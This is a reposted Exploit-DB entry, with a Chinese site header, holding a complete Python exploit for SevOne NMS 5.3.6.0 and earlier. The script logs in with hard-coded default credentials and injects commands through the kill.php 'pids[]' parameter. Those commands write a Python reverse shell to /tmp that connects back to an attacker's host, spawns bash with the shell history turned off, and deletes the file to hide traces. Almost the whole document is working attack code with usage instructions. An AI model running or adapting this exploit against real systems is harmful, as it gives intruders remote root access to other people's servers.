SevOne NMS 5.3.6.0 – Remote Command Execution - 体验盒子

作者： @iamsecurity

日期： 2016-01-14

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/39234/

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#!/usr/bin/env python

# Exploit Title: SevOne NMS <= 5.3.6.0 reverse shell remote root

# Date: 01/14/2016

# Exploit Author: @iamsecurity

# Vendor Homepage: https://www.sevone.com/

# Software Link: https://www.sevone.com/download2/free/vimage/SevOne-Download.ova

# Version: 5.3.6.0

"""sevone.py: Simple reverse root shell exploit for SevOne <= 5.3.6.0.

Details: http://russiansecurity.expert/2016/01/14/critical-security-issues-in-sevone-nms/

run: ./sevone.py "sevone_url" lhost lport

"""

import sys

import requests

__author__ = '@iamsecurity'

def main():

if len(sys.argv) < 4:

print('Enter url of SevOne PAS server and listen IP and PORT to connect back.\nUsage: ' + sys.argv[0] +

' "sevone_url" lhost lport\nExample: ./sevone.py http://192.168.1.104 192.168.1.105 31337')

sys.exit(1)

requests.packages.urllib3.disable_warnings()

url = sys.argv[1]

lhost = sys.argv[2]

lport = sys.argv[3]

login_url = url + "/doms/login/processLogin.php"

rce_url = url + "/doms/discoveryqueue/kill.php"

login = "SevOneStats"

password = "n3v3rd13"

s = requests.Session()

s.verify = False

payload = [

'<code>echo \'import os; import pty; import socket; lhost="'+lhost+'"; lport='+lport+'; s=socket.socket(socket.AF_IN'

'ET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fi'

'leno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close()\' | dd of=/tmp/sess_ap6k1d1ucb'

'etfk9fhcqdnk0be5</code>',

'<code>python /tmp/sess_ap6k1d1ucbetfk9fhcqdnk0be5; rm -rf /tmp/sess_ap6k1d1ucbetfk9fhcqdnk0be5</code>'

]

s.post(login_url, {'login': login, 'passwd': password, 'tzString': 1})

s.post(rce_url, {'pids[]': payload[0]})

try:

s.post(rce_url, {'pids[]': payload[1]}, timeout=0.001)

except requests.exceptions.ReadTimeout:

print("Don't need wait for response from server. Exploit successfully!")

pass

if __name__ == "__main__":

main()